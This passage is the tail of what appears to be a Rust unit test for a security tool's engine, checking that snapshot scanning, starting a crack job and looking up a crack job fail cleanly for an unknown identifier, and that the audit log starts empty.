assert!(engine.scan_snapshot("nope").is_err());
|
|
assert!(engine
|
|
.start_crack("nope", None, None, dir.path().join("nada.txt"), false)
|
|
.is_err());
|
|
assert!(engine.crack_job("nope").is_none());
|
|
assert!(engine.audit_entries(Some(10)).unwrap().is_empty());
|
|
}
|
|
}
|